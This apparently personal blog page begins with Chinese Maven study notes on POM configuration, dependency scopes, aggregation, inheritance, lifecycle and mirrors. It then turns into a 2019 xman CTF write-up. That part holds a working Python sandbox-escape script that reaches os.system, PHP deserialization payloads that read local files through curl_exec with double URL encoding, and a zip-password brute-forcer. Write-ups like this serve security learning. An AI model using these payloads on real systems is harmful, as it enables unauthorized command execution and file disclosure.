10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<build>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<version>1.1.1</version>
<executions>
<execution>
<phase>test</phase>
<goals>
<goal>java</goal>
</goals>
<configuration>
<mainClass>com.vineetmanohar.module.CodeGenerator</mainClass>
<arguments>
<argument>arg0</argument>
<argument>arg1</argument>
</arguments>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>

依赖范围

  • compile
    默认的范围,编译测试运行都有效
  • provided
    在测试和编译时有效
  • runtime
    在测试和运行时有效
  • test
    只有在测试中有效

排除依赖

在pom中的project下添加

1
2
3
4
5
6
7
8
<!-- 排除依赖传递列表
如A依赖B,B依赖C,而A不依赖C,此时就可以在此处添加C,来排除依赖
-->

<exclusions>
<exclusion>
</exclusion>
</exclusions>

依赖冲突解决原则

短路优先

1
2
3
4
A -> B -> C -> X1
A -> D -> X2
#A -> D代表 A依赖于D
此时A依赖于X2

先声明先优先

如果路径长度相同(依赖链),则谁先声明,先解析谁

聚合

在容器pom中修改packaging为pom,添加modules

示例

现有maven项目:maven01和maven02

新建maven项目:maven03,三个项目均在同一个文件夹下

在maven03中修改packaging为pom,添加如下modules

1
2
3
4
5
6
7
8
<modules>
<module>
../maven01
</module>
<module>
../maven02
</module>
</modules>

继承

当多个maven模块都依赖一个相同的库时,多次声明显得太麻烦此时可以用继承来解决

示例

现有两个maven项目(maven01,maven02)都使用junit:3.8.1

新建父maven项目:maven03,其对应的pom文件为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>top.ccreater</groupId>
<artifactId>maven03</artifactId>
<version>0.0.1-SNAPSHOT</version>
<packaging>pom</packaging>

<name>maven03</name>
<url>http://maven.apache.org</url>

<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>


<dependencyManagement>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
</dependencies>
</dependencyManagement>
</project>

将相同的依赖都添加到dependencyManagement下,并修改packaging为pom

maven01和maven02的pom文件均为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>top.ccreater</groupId>
<artifactId>maven02</artifactId>
<version>0.0.1-SNAPSHOT</version>
<packaging>jar</packaging>

<name>maven02</name>
<url>http://maven.apache.org</url>

<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<parent>
<groupId>top.ccreater</groupId>
<artifactId>maven03(/maven02)</artifactId>
<version>0.0.1-SNAPSHOT</version>
</parent>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
</dependency>
</dependencies>
</project>

Super POM

所有的 POM 都继承自一个父 POM(无论是否显式定义了这个父 POM)。父 POM 也被称作 Super POM,它包含了一些可以被继承的默认设置。

Maven 使用 effective pom(Super pom 加上工程自己的配置)来执行相关的目标,它帮助开发者在 pom.xml 中做尽可能少的配置,当然这些配置可以被方便的重写。

查看 Super POM 默认配置的一个简单方法是执行以下命令:mvn help:effective-pom (需要在当前目录下新建一个pom.xml)

POM 标签详解

https://www.runoob.com/maven/maven-pom.html

Maven 构建生命周期

Maven 构建生命周期定义了一个项目构建跟发布的过程。

Maven 有以下三个标准的生命周期:

  • clean:项目清理的处理
  • **default(或 build)**:项目部署的处理
  • site:项目站点文档创建的处理

典型的生命构建周期

阶段 处理 描述
验证 validate 验证项目 验证项目是否正确且所有必须信息是可用的
编译 compile 执行编译 源代码编译在此阶段完成
测试 Test 测试 使用适当的单元测试框架(例如JUnit)运行测试。
包装 package 打包 创建JAR/WAR包如在 pom.xml 中定义提及的包
检查 verify 检查 对集成测试的结果进行检查,以保证质量达标
安装 install 安装 安装打包的项目到本地仓库,以供其他项目使用
部署 deploy 部署 拷贝最终的工程包到远程仓库中,以共享给其他开发人员和工程

如果执行package,那么clean,test等都会被执行

构建阶段由插件目标构成

一个插件目标代表一个特定的任务(比构建阶段更为精细),这有助于项目的构建和管理。这些目标可能被绑定到多个阶段或者无绑定。不绑定到任何构建阶段的目标可以在构建生命周期之外通过直接调用执行。这些目标的执行顺序取决于调用目标和构建阶段的顺序。

插件目标解释: 一个插件有多个目标,每个功能就是一个插件目标,所以一个插件有多个功能。

maven 常用命令

1
2
3
4
5
6
7
8
9
10
11
mvn -v
mvn compile 编译
mvn test 测试
mvn package 打包项目生成jar文件
mvn clearn 删除target 目录
mvn install 安装jar包到本地仓库
创建目录的两种方式
1. 交互式
mvn archetype:generate
2. 非交互式
mvn archetype:generate -DgroupId=com.companyname.bank -DartifactId=consumerBanking -DarchetypeArtifactId=maven-archetype-quickstart -DinteractiveMode=false

在某个阶段使用插件

http://maven.apache.org/plugins

各个插件下有个example config如: http://maven.apache.org/plugins/maven-source-plugin/

在pom.xml文件中project下添加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-source-plugin</artifactId>
<version>3.2.0</version>
<!-- <configuration>
<outputDirectory>/absolute/path/to/the/output/directory</outputDirectory>
<finalName>filename-of-generated-jar-file</finalName>
<attach>false</attach>
</configuration>-->
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>jar-no-fork</goal>
<!-- 在package阶段执行source:jar-no-fork -->
</goals>
</execution>

</executions>
</plugin>
</plugins>
</build>

maven配置文件

添加镜像仓库

在mirrors下添加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<mirror>
<id>alimaven</id>
<mirrorOf>central</mirrorOf><!-- 哪个仓库的镜像,利用*来匹配所有仓库 -->
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/groups/public/</url>
</mirror>
<mirror>
<id>jcenter</id>
<mirrorOf>central</mirrorOf>
<name>jcenter.bintray.com</name>
<url>http://jcenter.bintray.com/</url>
</mirror>

<mirror>
<id>repo1</id>
<mirrorOf>central</mirrorOf>
<name>Human Readable Name for this Mirror.</name>
<url>http://repo1.maven.org/maven2/</url>
</mirror>
<mirror>
<id>repo2</id>
<mirrorOf>central</mirrorOf>
<name>Human Readable Name for this Mirror.</name>
<url>http://repo2.maven.org/maven2/</url>
</mirror>

修改本地仓库地址

修改<localRepository>E:/apache-maven-3.6.3/repository</localRepository>

常用插件介绍

jetty : servlet 本地测试插件

tomcat : tomcat 本地测试插件

2019xman个人排位赛wp

escape

收获:了解了python沙箱逃逸这种类型

getattr:对沙箱逃逸有很大作用

list(s)获得字符集,可以用来绕过引号限制

试了一下system

1
banned=  ["'", '"', '.', 'reload', 'open', 'input', 'file', 'if', 'else', 'eval', 'exit', 'import', 'quit', 'exec', 'code', 'const', 'vars', 'str', 'chr', 'ord', 'local', 'global', 'join', 'format', 'replace', 'translate', 'try', 'except', 'with', 'content', 'frame', 'back']

发现引号和点都被过滤了,不过提示说

1
2
def hello():
os.system("echo hello")

说明是可以通过调用system来完成,接下来就是想办法得到system函数了

而引号被过滤可以用字符串s里的值来绕过

1
2
3
#考虑这样来
a=getattr(os,'system')
a("命令")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def get_str(string):
result=''
for i in string:
result+='table['+str(table.index(i))+']+'
return result[:-1]
conn=remote('47.97.253.115',10005)
conn.sendline('table=list(s)')
conn.sendline('sys='+get_str('system'))
conn.sendline('fun=getattr(os,sys)')
while 1:
command=input('(www):$')
new_com='fun('+get_str(command)+')'
conn.sendline(new_com)
print(conn.recvuntil('>>>'))
conn.close()

flag{4EEAA88DA0B3207862D2E4876AF84A3D}

strange_ssid

这题是结束听别人讲的

所有的数据都是32个字符

所以猜测是md5加密

找出符合md5格式的数据

68dffd5a1be838b5326209714f7ea7a5

解密后提交flag{n3k0}失败

直接提交flag{68dffd5a1be838b5326209714f7ea7a5}试试

成功

ezphp

收获:知道了curl_exec 本地文件读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

class Hello {
protected $a;

function test() {
$b = strpos($this->a, 'flag');
if($b) {
die("Bye!");
}
$c = curl_init();
curl_setopt($c, CURLOPT_URL, $this->a);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($c, CURLOPT_CONNECTTIMEOUT, 5);
echo curl_exec($c);
}

function __destruct(){
$this->test();
}
}

if (isset($_GET["z"])) {
unserialize($_GET["z"]);
} else {
highlight_file(__FILE__);
}

curl_exec+反序列化

试了下本地文件读取

O:5:”Hello”:1:{s:1:”a”;s:27:”file://localhost/etc/passwd”;}

image1967

题目过滤flag字符

说明我们flag就在flag文件里

谷歌看了好久,后来看一道又curl_exec的题目,获得了url二次编码的思路

最后的payload:

http://47.97.253.115:10006/?z=O:5:%22Hello%22:1:{s:1:%22a%22;s:23:%22file://localhost/%2566lag%22;}

这里有一些坑就是:

  1. 你不知道flag文件在哪个文件夹,结果最后就在根目录。。

  2. 因为是二次编码所以要注意字符串的长度

onion’s_secret

下载得到一个压缩包,常规的检查走一遍

发现onion.jpg文件尾后还有数据

image2357

zip格式,get一个新的加密压缩包

密码在hint里有提示

接下来就是很普通的写python了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import zipfile
def burp(filename,hint):
password=''
i=0
for i in range(32,128):
password=hint.replace('?',chr(i))
with zipfile.ZipFile(filename) as myzip:
try :
print("解密:"+filename+":"+password)
myzip.read('onion.zip',pwd=bytes(password,encoding='ascii'))
break
return password
except RuntimeError:
print("解密失败")
except FileNotFoundError:
input('过来康康')
except zipfile.zlib.error:
print("跳过")
if i==127:
print("爆破失败")
exit()
print('爆破成功'+password)
return password

def writebyte(bbyte,filename):
f=open(filename,'wb')
f.write(bbyte)
f.close()
def readbyte(filename):
f=open(filename,'rb')
bbyte=f.read()
f.close()
return bbyte

nullbyte=b''
while 1:
f=open('temp.txt','r')
hint=f.read()[12:]
f.close()
pwd=burp('onion1.zip',hint)

with zipfile.ZipFile('onion1.zip') as myzip:
str=myzip.read('onion.zip',pwd=bytes(pwd,encoding='ascii'))
writebyte(str,"temp.zip")
str=myzip.read('hint.txt',pwd=bytes(pwd,encoding='ascii'))
writebyte(str,"temp.txt")
writebyte(readbyte('temp.zip'),'onion1.zip')


commom_encrypt

读代码就完事了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def encrypt(data,groupnums):
a=[]
b=[]
section=int(len(data)/groupnums)
for i in range(0,len(data),section):
a.append(data[i:i+section])
for i in range(section):
for j in range(groupnums):
b.append(a[j][i])
cipher=(''.join(chr(ord(b[i])^i) for i in range(len(b))))
return cipher
def decrypt(data):
result=[]
for i in range(1,len(data)+1):
result.append(encrypt(data,i))
return result

may_r=decrypt('f^n2ekass:iy~>w|`ef"${Ip)8if')
for i in may_r:
print(i[::2]+i[1::2])